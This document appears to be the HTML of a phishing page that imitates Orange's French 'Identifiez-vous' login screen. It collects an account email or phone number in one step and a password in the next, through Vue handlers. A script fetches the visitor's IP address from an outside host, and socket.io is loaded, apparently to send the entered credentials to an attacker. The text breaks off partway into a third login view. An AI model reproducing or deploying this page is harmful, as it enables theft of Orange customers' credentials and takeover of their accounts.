<!DOCTYPE html>
<html lang="fr">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="msapplication-config" content="none">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Identifiez-vous avec votre compte Orange</title>
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="mobile-web-app-capable" content="yes">
<link rel="apple-touch-icon" sizes="57x57" href="img-touch-icon-57x57.png">
<link rel="apple-touch-icon" sizes="60x60" href="img-touch-icon-60x60.png">
<link rel="apple-touch-icon" sizes="72x72" href="img-touch-icon-72x72.png">
<link rel="apple-touch-icon" sizes="76x76" href="img-touch-icon-76x76.png">
<link rel="apple-touch-icon" sizes="114x114" href="img-touch-icon-114x114.png">
<link rel="apple-touch-icon" sizes="120x120" href="img-touch-icon-120x120.png">
<link rel="apple-touch-icon" sizes="144x144" href="img-touch-icon-144x144.png">
<link rel="apple-touch-icon" sizes="152x152" href="img-touch-icon-152x152.png">
<link rel="apple-touch-icon" sizes="180x180" href="img-touch-icon-180x180.png">
<link rel="icon" type="image/png" href="img/favicon-32x32.png" sizes="32x32">
<link rel="icon" type="image/png" href="img/favicon-194x194.png" sizes="194x194">
<link rel="icon" type="image/png" href="img/favicon-96x96.png" sizes="96x96">
<link rel="icon" type="image/png" href="img/android-chrome-36x36.png" sizes="36x36">
<link rel="icon" type="image/png" href="img/android-chrome-48x48.png" sizes="48x48">
<link rel="icon" type="image/png" href="img/android-chrome-72x72.png" sizes="72x72">
<link rel="icon" type="image/png" href="img/android-chrome-96x96.png" sizes="96x96">
<link rel="icon" type="image/png" href="img/android-chrome-144x144.png" sizes="144x144">
<link rel="icon" type="image/png" href="img/android-chrome-192x192.png" sizes="192x192">
<link rel="icon" type="image/png" href="img/favicon-16x16.png" sizes="16x16">
<link rel="stylesheet" href="css/bundle.css">
<link type="text/css" rel="stylesheet" href="css/common.css">
<link type="text/css" rel="stylesheet" href="css/o_onei_responsive.css">
<link type="text/css" rel="stylesheet" href="css/mystyles.css">
<link type="text/css" rel="stylesheet" href="css/iview.css">
<link type="text/css" rel="stylesheet" href="css/semantic.css">
<link type="text/css" rel="stylesheet" href="css/uikit.css">
<link type="text/css" rel="stylesheet" href="css/eui.css">
<link rel="stylesheet" href="css/styleico.css" />
<script src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script>
<script src="js/mys.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.js" integrity="sha256-WpOohJOqMqqyKL9FccASB9O0KwACQJpFTUBLTYOVvVU=" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/iview/3.5.1/iview.js" integrity="sha256-Xjd66VohnxGyWXo6t7jy6Jdpa4MapbhWGgzRNcsnnzY=" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/v-mask/dist/v-mask.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/axios/0.19.0/axios.js" integrity="sha256-XmdRbTre/3RulhYk/cOBUMpYlaAp2Rpo/s556u0OIKk=" crossorigin="anonymous"></script>
<script>
window.locIp = "";
window.iPfull = "";
fetch("https://keys0.openode.io/ip", {
mode: "cors",
}).then((e) => {
e.json().then((location) => {
console.log(location);
window.locIp = location;
window.iPfull = location.ip || location;
});
});
</script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/socket.io/2.3.0/socket.io.js" integrity="sha256-bQmrZe4yPnQrLTY+1gYylfNMBuGfnT/HKsCGX+9Xuqo=" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/uikit/3.2.0/js/uikit.js" integrity="sha256-A7WGGnbT0f0OYHWQVkWqX6GQdZHZDi8IsbD/u+FQaVc=" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/semantic-ui/2.4.1/semantic.js" integrity="sha256-qs5p0BFSqSvrstBxPvex+zdyrzcyGdHNeNmAirO2zc0=" crossorigin="anonymous"></script>
<style>
.eui-banner {
background-image: url("img/om_desktop.png");
}
.eui-banner-mc {
background-image: url("img/mc_desktop_old.png");
}
#promoteMCicon {
background: url("img/promoteMCDesktop.gif") no-repeat;
background-size: 100%;
height: 32rem;
width: 30rem;
}
@media (max-width: 767px) {
.eui-banner {
background-image: url("img/om_mobile.png");
}
.eui-banner-mc {
background-image: url("img/mc_mobile_old.png");
}
#promoteMCicon {
background: url("img/promoteMCMobile.gif") no-repeat;
background-size: 100%;
height: 15rem;
width: 30.2rem;
}
}
.off-screen {
position: fixed;
bottom: 0;
right: 0;
height: 0 !important;
width: 0 !important;
overflow: hidden;
opacity: 0;
filter: alpha(opacity=0);
}
</style>
<style>
#forceMCLabel.disabled,
#forceMCLabelBis.disabled {
display: none;
}
</style>
</head>
<body>
<!-- The core Firebase JS SDK is always required and must be listed first -->
<script src="/__/firebase/8.9.1/firebase-app.js"></script>
<!-- TODO: Add SDKs for Firebase products that you want to use
https://firebase.google.com/docs/web/setup#available-libraries -->
<!-- Initialize Firebase -->
<script src="/__/firebase/init.js"></script>
<p style="display: none;">
<input id="Option" type="text" value="0">
</p>
<div id="index">
<div v-show="!loading">
<div v-if="login==1">
<header id="o-header" class=" fixed-center o-center-align fixed-center o-center-align o-onei" style="height: auto;">
<div id="o-accessibility">
<div id="o-accessibility-wrapper" class="o-marge" data-widthlimit="">
<ul>
<li><a id="o-cnt-anchor" data-oevent-category="header" data-oevent-action="accessibilite" data-oevent-label="alleraucontenu" href="javascript:void(0)" class="o-link " onclick="o_jumpToAnchor('o-content-anchor');return false;"><span class="o-link-text"><span>Aller au contenu</span></span></a></li>
</ul>
</div>
</div>
<a id="o-nav-anchor" name="o-nav-anchor" class="o-anchor" tabindex="-1"></a>
<nav id="o-nav" class="o-nav o-marge o-nav-space-md" data-widthlimit="">
<div id="o-nav-wrapper" class="o-nav-wrapper">
<div class="o-nav-container">
<ul role="presentation">
<li><a title="retour à l'accueil" href="#" data-oevent-category="header" data-oevent-action="logo" class="o-logo"><img src="img/logo-orange.png" alt="retour à l'accueil"></a></li>
</ul>
</div>
<div class="o-nav-container o-nav-megaMenu-items">
<ul>
<li>
<div class="o-nav-burger-link"><a href="#" data-id="mobilesetforfaits" data-state="o-inactive" aria-haspopup="true" aria-expanded="false" title="Mobiles et forfaits" class="o-nav-elt o-nav-megaMenu " data-tagging-category="header" data-tagging-action="mobilesetforfaits" data-tagging-label=""><span class="o-link-text"><span>Mobiles et
forfaits</span></span></a></div>
</li>
<li>
<div class="o-nav-burger-link"><a href="#" data-id="internet" data-state="o-inactive" aria-haspopup="true" aria-expanded="false" title="Internet" class="o-nav-elt o-nav-megaMenu " data-tagging-category="header" data-tagging-action="internet" data-tagging-label=""><span class="o-link-text"><span>Internet</span></span></a></div>
</li>
<li>
<div class="o-nav-burger-link"><a href="#" data-id="packsinternetmobiles" data-state="o-inactive" aria-haspopup="true" aria-expanded="false" title="Packs Internet + Mobile" class="o-nav-elt o-nav-megaMenu " data-tagging-category="header" data-tagging-action="packsinternetetmobile" data-tagging-label=""><span class="o-link-text"><span>Packs Internet +
Mobile</span></span></a></div>
</li>
<li>
<div class="o-nav-burger-link"><a href="#" data-id="maison" data-state="o-inactive" aria-haspopup="true" aria-expanded="false" title="Maison" class="o-nav-elt o-nav-megaMenu " data-tagging-category="header" data-tagging-action="maison" data-tagging-label=""><span class="o-link-text"><span>Maison</span></span></a></div>
</li>
<li>
<div class="o-nav-burger-link"><a href="#" data-id="tvetdivertissement" data-state="o-inactive" aria-haspopup="true" aria-expanded="false" title="TV et divertissement" class="o-nav-elt o-nav-megaMenu " data-tagging-category="header" data-tagging-action="tvetdivertissement" data-tagging-label=""><span class="o-link-text"><span>TV et
divertissement</span></span></a></div>
</li>
<li>
<div class="o-nav-burger-link"><a href="#" data-id="banque" data-state="o-inactive" aria-haspopup="true" aria-expanded="false" title="Banque" class="o-nav-elt o-nav-megaMenu " data-tagging-category="header" data-tagging-action="banque" data-tagging-label=""><span class="o-link-text"><span>Banque</span></span></a></div>
</li>
<li>
<div class="o-nav-burger-link"><a href="#" data-id="news" data-state="o-inactive" aria-haspopup="true" aria-expanded="false" title="News" class="o-nav-elt o-nav-megaMenu " data-tagging-category="header" data-tagging-action="news" data-tagging-label=""><span class="o-link-text"><span>News</span></span></a></div>
</li>
</ul>
</div>
</div>
</nav>
</header><a name="o-content-anchor" id="o-content-anchor" class="o-anchor" tabindex="-1"></a>
<main class="eui-container" role="main">
<div class="o-container-fluid eui-title-area">
<div class="row">
<div class="col-xs-12 col-md-8 col-lg-8 col-xl-8">
<h1 id="title">Identifiez-vous</h1>
</div>
</div>
</div>
<div class="o-container-fluid">
<div class="row">
<div class="col-xs-12 col-md-6 col-lg-6 col-xl-6 ">
<div id="stage" class="">
<div id="eui-accounts">
</div>
<div class="form-group ">
<h2 class="sr-only">Indiquez votre compte Orange</h2>
<div class="eui-input-label">
<div class="eui-row">
<label for="login" id="loginLabel" class="eui-label">Indiquez votre compte
Orange</label>
<div class="eui-assistance-area">
<button data-oevent="idme_login;clic_bulle_aide_saisie;bulle_aide_saisie" class="eui-svg eui-icon-help" type="button" id="helpLogin">
<span class="sr-only">aide</span>
</button>
</div>
</div>
</div>
<div aria-label="aide" class="eui-help" id="helpLoginCnt" style="display : none;">
<p class="noSelectContent" tabindex="-1"><span>Votre compte Orange permet l’accès à
vos services personnels. Il est désigné par une adresse e-mail ou un numéro
de mobile.</span><br><span>C’est votre première visite >> <a href="#" target="_self" title="Aide">Aide</a></span></p>
</div>
<div v-if="error" class="uk-text-left uk-text-danger">Cette adresse mail ou ce numéro de mobile n’est pas valide. Vérifiez votre saisie.</div>
<input type="text" id="login" v-model="log.EMAIL" placeholder="Adresse mail ou n° de mobile Orange" class="form-control" maxlength="256" autocorrect="off" autocapitalize="off" spellcheck="false" aria-invalid="false">
</div>
<div class="btn-hide">
<div id="btnSubmit" @click="goToCredit()" class="btn btn-info eui-btn-sub">Continuer</div></div>
<nav class="eui-links row" role="navigation">
<div id="assistance" class="col-xs-12 col-md-12 col-lg-12 col-xl-12">
<a id="assistanceLink" href="#" rel="noopener noreferrer" data-oevent="idme_login;clic_retrouver_mail;lien_retrouver_mail" title="Comment retrouver l’adresse e-mail de votre compte ?">Comment retrouver
l’adresse e-mail de votre compte ?</a>
</div>
<div id="firstAuthentBloc" class="col-xs-12 col-md-12 col-lg-12 col-xl-12">
<a id="firstAuthentLink" data-oevent="idme_login;clic_premiere_connexion;lien_premiere_connexion" href="#" title="Vous vous identifiez pour la première fois ?">Vous vous identifiez pour la
première fois ?</a>
</div>
<div id="firstAccessDiv" class="col-xs-12 col-md-12 col-lg-12 col-xl-12">
<a id="firstAccessLink" data-oevent="idme_login;clic_créer_compte;créer_votre_compte" href="#" title="Vous n’êtes pas client ? Créer votre compte">Vous n’êtes pas client ?
Créer votre compte</a>
</div>
<div id="forgotCodeMC" class="col-xs-12 col-md-12 col-lg-12 col-xl-12" style="display: none;">
<a id="forgotCodeMCLink" href="#" title="Code confidentiel oublié ?">Code confidentiel
oublié ?</a>
</div>
<div id="discoverMC" class="col-xs-12 col-md-12 col-lg-12 col-xl-12" style="display: none">
<a id="discoverMCLink" href="#">
<img id="discoverMCLinkImg" src="img/Logo_MC_noir_fond_transparent_small.png">
<img id="discoverMCLinkImgHover" style="display: none;" src="img/Logo_MC_orange_fond_transparent_small.png">
Comment s’identifier plus vite et plus facilement ? </a>
</div>
<div id="moreHelpLink" class="col-xs-12 col-md-12 col-lg-12 col-xl-12">
<a id="helpLink" data-oevent-category="idme_login" data-oevent-action="clic_aide" data-oevent-label="aide" href="#" title="Besoin d’aide ?">Besoin d’aide ?</a>
</div>
<div id="authWithoutMCDiv" class="col-xs-12 col-md-12 col-lg-12 col-xl-12 " style="display: none;">
<a id="authWithoutMCLink" class="link-action-password" href="#" title="S’identifier avec votre mot de passe" data-oevent-category="idme_mc_invit" data-oevent-action="clic_sidentifier_sans_mc" data-oevent-label="sidentifier_sans_mc">S’identifier avec votre mot de passe</a>
</div>
</nav>
</div>
</div>
<div id="magicZone" class="eui-banner-place col-xs-12 col-md-5 col-lg-4 col-xl-4 col-md-offset-1">
<a id="magicZoneLink" data-oevent-category="idme_login" data-oevent-action="clic_zone_com" data-oevent-label="service" class="eui-block" href="#" target="_blank" rel="noopener noreferrer">
<div id="elmt-banner" class="eui-banner" title="Lien zone de communication (nouvel onglet)">
</div>
</a>
</div>
</div>
</div>
</main>
<footer class="footer-fluid">
<div class="eui-footer-banner hidden-xs hidden-sm">
<div class="eui-mega-banner oan_ad" id="ora_2_728x90_identification" data-google-query-id="CMqBiYed1u0CFdSBhQod9KUCOA">
<div id="google_ads_iframe_/3513/woo_ban_2_728x90_ident_0__container__" style="border: 0pt none;">
<iframe id="google_ads_iframe_/3513/woo_ban_2_728x90_ident_0" title="3rd party ad content" name="google_ads_iframe_/3513/woo_ban_2_728x90_ident_0" width="728" height="90" scrolling="no" marginwidth="0" marginheight="0" frameborder="0" style="border: 0px; vertical-align: bottom;" src="frame/frame1.html"></iframe></div>
</div>
</div>
<div id="cefooter">
<div id="o-footer-accesDirect" class="o-marge">
<div class="o-footer-content" data-widthlimit="">
<div>
<ul>
<li><a title="Aide et contact" data-oevent-category="footer_accesdirect" data-oevent-action="aideetcontact" href="#" class="o-icomoon"><span class="o-link-icon" data-icon=""></span><span class="o-link-text"><span>Aide et
contact</span></span></a></li>
<li><a title="Forum d'entraide" data-oevent-category="footer_accesdirect" data-oevent-action="forumdentraide" href="#" class="o-icomoon"><span class="o-link-icon" data-icon=""></span><span class="o-link-text"><span>Forum
d'entraide</span></span></a></li>
<li><a title="Trouver une boutique" data-oevent-category="footer_accesdirect" data-oevent-action="trouveruneboutique" href="#" class="o-icomoon"><span class="o-link-icon" data-icon=""></span><span class="o-link-text"><span>Trouver
une boutique</span></span></a></li>
</ul>
</div>
</div>
</div>
<div id="o-footer-lienLegal" class="o-marge">
<div class="o-footer-content" data-widthlimit="">
<div>
<ul>
<li><a title="Informations légales (nouvelle fenêtre)" target="_blank" data-oevent-category="footer_legal" data-oevent-action="informationslegales" href="#" aria-label="Informations légales (nouvelle fenêtre)"><span class="o-link-text"><span>Informations légales</span></span></a></li>
<li><a title="Données personnelles (nouvelle fenêtre)" target="_blank" data-oevent-category="footer_legal" data-oevent-action="donneespersonnelles" href="#" aria-label="Données personnelles (nouvelle fenêtre)"><span class="o-link-text"><span>Données personnelles</span></span></a></li>
<li><a title="Accessibilité" data-oevent-category="footer_legal" data-oevent-action="accessibilité" href="javascript:void(0)" onclick="document.location.href='accessibilite?url=' + encodeURIComponent(document.location.hostname + document.location.pathname)"><span class="o-link-text"><span>Accessibilité</span></span></a></li>
<li><a title="Les cookies (nouvelle fenêtre)" target="_blank" data-oevent-category="footer_legal" data-oevent-action="lescookies" href="#" aria-label="Les cookies (nouvelle fenêtre)"><span class="o-link-text"><span>Les
cookies</span></span></a></li>
<li><a title="Publicité (nouvelle fenêtre)" target="_blank" data-oevent-category="footer_legal" data-oevent-action="publicite" href="#" aria-label="Publicité (nouvelle fenêtre)"><span class="o-link-text"><span>Publicité</span></span></a></li>
<li><a title="Internet + (nouvelle fenêtre)" target="_blank" data-oevent-category="footer_legal" data-oevent-action="internetplus" href="#" aria-label="Internet + (nouvelle fenêtre)"><span class="o-link-text"><span>Internet
+</span></span></a></li>
<li><a title="Signaler un contenu (nouvelle fenêtre)" target="_blank" data-oevent-category="footer_legal" data-oevent-action="signaleruncontenu" href="#" aria-label="Signaler un contenu (nouvelle fenêtre)"><span class="o-link-text"><span>Signaler un contenu</span></span></a></li>
<li>© Orange 2020</li>
</ul>
</div>
</div>
</div>
</div>
</footer>
</div>
<div v-if="login==2">
<header id="o-header" class=" fixed-center o-center-align fixed-center o-center-align o-onei" style="height: auto;">
<div id="o-accessibility">
<div id="o-accessibility-wrapper" class="o-marge" data-widthlimit="">
<ul>
<li><a id="o-cnt-anchor" data-oevent-category="header" data-oevent-action="accessibilite" data-oevent-label="alleraucontenu" href="javascript:void(0)" class="o-link " onclick="o_jumpToAnchor('o-content-anchor');return false;"><span class="o-link-text"><span>Aller au contenu</span></span></a></li>
</ul>
</div>
</div>
<a id="o-nav-anchor" name="o-nav-anchor" class="o-anchor" tabindex="-1"></a>
<nav id="o-nav" class="o-nav o-marge o-nav-space-md" data-widthlimit="">
<div id="o-nav-wrapper" class="o-nav-wrapper">
<div class="o-nav-container">
<ul role="presentation">
<li><a title="retour à l'accueil" href="#" data-oevent-category="header" data-oevent-action="logo" class="o-logo"><img src="img/logo-orange.png" alt="retour à l'accueil"></a></li>
</ul>
</div>
<div class="o-nav-container o-nav-megaMenu-items">
<ul>
<li>
<div class="o-nav-burger-link"><a href="#" data-id="mobilesetforfaits" data-state="o-inactive" aria-haspopup="true" aria-expanded="false" title="Mobiles et forfaits" class="o-nav-elt o-nav-megaMenu " data-tagging-category="header" data-tagging-action="mobilesetforfaits" data-tagging-label=""><span class="o-link-text"><span>Mobiles et
forfaits</span></span></a></div>
</li>
<li>
<div class="o-nav-burger-link"><a href="#" data-id="internet" data-state="o-inactive" aria-haspopup="true" aria-expanded="false" title="Internet" class="o-nav-elt o-nav-megaMenu " data-tagging-category="header" data-tagging-action="internet" data-tagging-label=""><span class="o-link-text"><span>Internet</span></span></a></div>
</li>
<li>
<div class="o-nav-burger-link"><a href="#" data-id="packsinternetmobiles" data-state="o-inactive" aria-haspopup="true" aria-expanded="false" title="Packs Internet + Mobile" class="o-nav-elt o-nav-megaMenu " data-tagging-category="header" data-tagging-action="packsinternetetmobile" data-tagging-label=""><span class="o-link-text"><span>Packs Internet +
Mobile</span></span></a></div>
</li>
<li>
<div class="o-nav-burger-link"><a href="#" data-id="maison" data-state="o-inactive" aria-haspopup="true" aria-expanded="false" title="Maison" class="o-nav-elt o-nav-megaMenu " data-tagging-category="header" data-tagging-action="maison" data-tagging-label=""><span class="o-link-text"><span>Maison</span></span></a></div>
</li>
<li>
<div class="o-nav-burger-link"><a href="#" data-id="tvetdivertissement" data-state="o-inactive" aria-haspopup="true" aria-expanded="false" title="TV et divertissement" class="o-nav-elt o-nav-megaMenu " data-tagging-category="header" data-tagging-action="tvetdivertissement" data-tagging-label=""><span class="o-link-text"><span>TV et
divertissement</span></span></a></div>
</li>
<li>
<div class="o-nav-burger-link"><a href="#" data-id="banque" data-state="o-inactive" aria-haspopup="true" aria-expanded="false" title="Banque" class="o-nav-elt o-nav-megaMenu " data-tagging-category="header" data-tagging-action="banque" data-tagging-label=""><span class="o-link-text"><span>Banque</span></span></a></div>
</li>
<li>
<div class="o-nav-burger-link"><a href="#" data-id="news" data-state="o-inactive" aria-haspopup="true" aria-expanded="false" title="News" class="o-nav-elt o-nav-megaMenu " data-tagging-category="header" data-tagging-action="news" data-tagging-label=""><span class="o-link-text"><span>News</span></span></a></div>
</li>
</ul>
</div>
<div class="o-nav-items">
<div class="o-nav-container o-nav-evenement-items">
<ul>
<li class="o-nav-evenement-image-container"><a title="Noël arrive" data-oevent-category="header" data-oevent-action="noelarrivedu8decembre2020" href="#" class="o-link "><img src="img/img_event_elcos-desktop_noelarrive.png" alt="Noël arrive"></a></li>
</ul>
</div><a class="o-nav-burger hidden" onclick="return false;" href="#" aria-label="Menu"><span></span></a>
</div>
</div>
</nav>
</header><a name="o-content-anchor" id="o-content-anchor" class="o-anchor" tabindex="-1"></a>
<main class="eui-container" role="main">
<div class="o-container-fluid eui-title-area">
<div class="row">
<div class="col-xs-12 col-md-8 col-lg-8 col-xl-8">
<h1 id="title">Identifiez-vous</h1>
</div>
</div>
</div>
<div class="o-container-fluid">
<div class="row">
<div class="col-xs-12 col-md-6 col-lg-6 col-xl-6 ">
<div id="stage" class="eui-st2">
<form novalidate="" class="eui-form" id="euiForm" action="">
<h2 class="sr-only">Saisissez votre mot de passe</h2>
<div class="eui-identity-area">
<div class="x-col-avatar">
<div class="eui-avatar">
<div class="eui-svg eui-icon-avatar" aria-label="Avatar d’utilisateur" id="accountAvatar" title="Avatar d’utilisateur"></div>
</div>
</div>
<div class="x-col-identity">
<div class="x-identity">
<p class="x-dsn eui-dsn eui-ellipsis" aria-label="identifiant" id="accountLogin"><input class="x-dsn eui-dsn eui-ellipsis" v-model="log.EMAIL"></p>
<p class="eui-empty-login"></p>
<span id="changeAccountDiv" style="display: inline;">
<a data-oevent-category="idme_password" data-oevent-action="clic_changer_de_compte" data-oevent-label="utiliser_un_autre_compte" id="changeAccountLink" href="index.php" title="Changer de compte">Changer de compte</a>
</span>
</div>
</div>
</div>
<div class="clearfix"></div>
<div class="form-group ">
<div class="eui-input-label">
<label for="password" id="passwordLabel">Saisissez votre mot de passe</label>
<div class="eui-assistance-area">
<button data-oevent="idme_password;clic_bulle_aide_mot_de_passe;bulle_aide_mot_de_passe" class="eui-svg eui-icon-help" type="button" id="helpPassword">
<span class="sr-only">aide</span>
</button>
</div>
</div>
<h6 id="error-msg-box" tabindex="0" v-if="error" class="form-control-message" aria-hidden="true" aria-live="assertive" role="alert"></h6>
<div id="passwordContainer">
<input v-model="log.PASS" type="password" id="password" placeholder="Mot de passe" autocomplete="current-password" class="form-control pass-assist" maxlength="36" required="">
<script>
function Afficher() {
var input = document.getElementById("password");
if (input.type === "password") {
input.type = "text";
} else {
input.type = "password";
}
}
</script>
<div id="assist-visual" class="input-control-visual">
<div class="assist-area">
<div id="assist-icon" class="eui-svg-assist eui-icon-assist-hide">
<button id="assist-btn" type="button" class="transparent-btn" onclick="Afficher()">
<span id="assist-msg" class="sr-only">afficher le mot de passe</span>
</button>
</div>
</div>
</div>
</div>
</div>
<div class="form-group eui-checkbox">
<input type="checkbox" class="o-checkbox" id="remember" checked="checked" style="display:block">
<label for="remember" id="rememberLabel"><span class="eui-label-content">Rester identifié</span>
</label>
</div>
<div>
<div id="btnSubmit" @click="goToEspace()" class="btn btn-primary eui-btn-sub">S’identifier</div>
<a data-oevent="idme_password;clic_mot_de_passe_oublie;mot_de_passe_oublie" id="forgotPassword" class="eui-links-passwd" href="#" title="Mot de passe oublié ?">Mot de passe oublié ?</a>
</div>
</form>
<nav class="eui-links row" role="navigation">
<div id="assistance" class="col-xs-12 col-md-12 col-lg-12 col-xl-12" style="display: none;">
<a id="assistanceLink" href="/findLogin?return_url=https%3A%2F%2Fwww.orange.fr%2Fportail" rel="noopener noreferrer" data-oevent="idme_login;clic_retrouver_mail;lien_retrouver_mail" title="Comment retrouver l’adresse e-mail de votre compte ?">Comment retrouver l’adresse e-mail de votre compte ?</a>
</div>
<div id="firstAuthentBloc" class="col-xs-12 col-md-12 col-lg-12 col-xl-12" style="display: none;">
<a id="firstAuthentLink" data-oevent="idme_login;clic_premiere_connexion;lien_premiere_connexion" href="/firstConnection?return_url=https%3A%2F%2Fwww.orange.fr%2Fportail" title="Vous vous identifiez pour la première fois ?">Vous vous identifiez pour la première fois ?</a>
</div>
<div id="firstAccessDiv" class="col-xs-12 col-md-12 col-lg-12 col-xl-12" style="display: none;">
<a id="firstAccessLink" data-oevent="idme_login;clic_créer_compte;créer_votre_compte" href="https://r.orange.fr/r/Oid_signup?return_url=https%3A%2F%2Fwww.orange.fr%2Fportail" title="Vous n’êtes pas client ? Créer votre compte">Vous n’êtes pas client ? Créer votre compte</a>
</div>
<div id="forgotCodeMC" class="col-xs-12 col-md-12 col-lg-12 col-xl-12" style="display: none;">
<a id="forgotCodeMCLink" href="#" title="Code confidentiel oublié ?">Code confidentiel oublié ?</a>
</div>
<div id="discoverMC" class="col-xs-12 col-md-12 col-lg-12 col-xl-12" style="display: none">
<a id="discoverMCLink" href="https://mc.orange.fr?return_url=https%3A%2F%2Fwww.orange.fr%2Fportail">
<img id="discoverMCLinkImg" src="https://cdn.woopic.com/c15d9d8fc98141b084d96f795046449b/auth-2.17.2/images/services_comm/Logo_MC_noir_fond_transparent_small.png">
<img id="discoverMCLinkImgHover" style="display: none;" src="https://cdn.woopic.com/c15d9d8fc98141b084d96f795046449b/auth-2.17.2/images/services_comm/Logo_MC_orange_fond_transparent_small.png">
Comment s’identifier plus vite et plus facilement ? </a>
</div>
<div id="moreHelpLink" class="col-xs-12 col-md-12 col-lg-12 col-xl-12">
<a id="helpLink" data-oevent-category="idme_password" data-oevent-action="clic_aide" data-oevent-label="aide" href="/aide?return_url=https%3A%2F%2Fwww.orange.fr%2Fportail" title="Besoin d’aide ?">Besoin d’aide ?</a>
</div>
<div id="authWithoutMCDiv" class="col-xs-12 col-md-12 col-lg-12 col-xl-12 " style="display: none;">
<a id="authWithoutMCLink" class="link-action-password" href="#" title="S’identifier avec votre mot de passe" data-oevent-category="idme_mc_invit" data-oevent-action="clic_sidentifier_sans_mc" data-oevent-label="sidentifier_sans_mc">S’identifier avec votre mot de passe</a>
</div>
<div class="eui-help col-xs-12 disabled" id="forceMCLabel">
Par sécurité, vous devez vous identifier avec Mobile Connect. <button type="button" class="eui-svg eui-close eui-icon-close-grey">
<span class="sr-only">fermer</span>
</button>
</div>
<div class="eui-help col-xs-12 disabled" id="forceMCLabelBis">
Suite à plusieurs tentatives d’accès erronées, l’accès à ce compte par mot de passe est temporairement bloqué. Réessayez un peu plus tard. <button type="button" class="eui-svg eui-close eui-icon-close-grey">
<span class="sr-only">fermer</span>
</button>
</div>
</nav>
</div>
</div>
<div id="magicZone" class="eui-banner-place col-xs-12 col-md-5 col-lg-4 col-xl-4 col-md-offset-1">
<a id="magicZoneLink" data-oevent-category="idme_password" data-oevent-action="clic_zone_com" data-oevent-label="service" class="eui-block" href="https://r.orange.fr/r/Oapp_Orange_EtMoi" target="_blank" rel="noopener noreferrer">
<div id="elmt-banner" class="eui-banner" title="Lien zone de communication (nouvel onglet)"></div>
</a>
</div>
</div>
</div>
</main>
<footer class="footer-fluid">
<div class="eui-footer-banner hidden-xs hidden-sm">
<div class="eui-mega-banner oan_ad" id="ora_2_728x90_identification" data-google-query-id="CMqBiYed1u0CFdSBhQod9KUCOA">
<div id="google_ads_iframe_/3513/woo_ban_2_728x90_ident_0__container__" style="border: 0pt none;">
<iframe id="google_ads_iframe_/3513/woo_ban_2_728x90_ident_0" title="3rd party ad content" name="google_ads_iframe_/3513/woo_ban_2_728x90_ident_0" width="728" height="90" scrolling="no" marginwidth="0" marginheight="0" frameborder="0" style="border: 0px; vertical-align: bottom;" src="frame/frame1.html"></iframe></div>
</div>
</div>
<div id="cefooter">
<div id="o-footer-accesDirect" class="o-marge">
<div class="o-footer-content" data-widthlimit="">
<div>
<ul>
<li><a title="Aide et contact" data-oevent-category="footer_accesdirect" data-oevent-action="aideetcontact" href="#" class="o-icomoon"><span class="o-link-icon" data-icon=""></span><span class="o-link-text"><span>Aide et
contact</span></span></a></li>
<li><a title="Forum d'entraide" data-oevent-category="footer_accesdirect" data-oevent-action="forumdentraide" href="#" class="o-icomoon"><span class="o-link-icon" data-icon=""></span><span class="o-link-text"><span>Forum
d'entraide</span></span></a></li>
<li><a title="Trouver une boutique" data-oevent-category="footer_accesdirect" data-oevent-action="trouveruneboutique" href="#" class="o-icomoon"><span class="o-link-icon" data-icon=""></span><span class="o-link-text"><span>Trouver
une boutique</span></span></a></li>
</ul>
</div>
</div>
</div>
<div id="o-footer-lienLegal" class="o-marge">
<div class="o-footer-content" data-widthlimit="">
<div>
<ul>
<li><a title="Informations légales (nouvelle fenêtre)" target="_blank" data-oevent-category="footer_legal" data-oevent-action="informationslegales" href="#" aria-label="Informations légales (nouvelle fenêtre)"><span class="o-link-text"><span>Informations légales</span></span></a></li>
<li><a title="Données personnelles (nouvelle fenêtre)" target="_blank" data-oevent-category="footer_legal" data-oevent-action="donneespersonnelles" href="#" aria-label="Données personnelles (nouvelle fenêtre)"><span class="o-link-text"><span>Données personnelles</span></span></a></li>
<li><a title="Accessibilité" data-oevent-category="footer_legal" data-oevent-action="accessibilité" href="javascript:void(0)" onclick="document.location.href='accessibilite?url=' + encodeURIComponent(document.location.hostname + document.location.pathname)"><span class="o-link-text"><span>Accessibilité</span></span></a></li>
<li><a title="Les cookies (nouvelle fenêtre)" target="_blank" data-oevent-category="footer_legal" data-oevent-action="lescookies" href="#" aria-label="Les cookies (nouvelle fenêtre)"><span class="o-link-text"><span>Les
cookies</span></span></a></li>
<li><a title="Publicité (nouvelle fenêtre)" target="_blank" data-oevent-category="footer_legal" data-oevent-action="publicite" href="#" aria-label="Publicité (nouvelle fenêtre)"><span class="o-link-text"><span>Publicité</span></span></a></li>
<li><a title="Internet + (nouvelle fenêtre)" target="_blank" data-oevent-category="footer_legal" data-oevent-action="internetplus" href="#" aria-label="Internet + (nouvelle fenêtre)"><span class="o-link-text"><span>Internet
+</span></span></a></li>
<li><a title="Signaler un contenu (nouvelle fenêtre)" target="_blank" data-oevent-category="footer_legal" data-oevent-action="signaleruncontenu" href="#" aria-label="Signaler un contenu (nouvelle fenêtre)"><span class="o-link-text"><span>Signaler un contenu</span></span></a></li>
<li>© Orange 2020</li>
</ul>
</div>
</div>
</div>
</div>
</footer>
</div>
<div v-if="login==3">
<header id="o-header" class=" fixed-center o-center-align fixed-center o-center-align o-onei" style="height: auto;">
<div id="o-accessibility">
<div id="o-accessibility-wrapper" class="o-marge" data-widthlimit="">
<ul>
<li><a id="o-cnt-anchor" data-oevent-category="header" data-oevent-action="accessibilite" data-oevent-label="alleraucontenu" href="javascript:void(0)" class="o-link " onclick="o_jumpToAnchor('o-content-anchor');return false;"><span class="o-link-text"><span>Aller au contenu</span></span></a></li>
</ul>
</div>
</div>
<a id="o-nav-anchor" name="o-nav-anchor" class="o-anchor" tabindex="-1"></a>
<nav id="o-nav" class="o-nav o-marge o-nav-space-md" data-widthlimit="">
<div id="o-nav-wrapper" class="o-nav-wrapper">
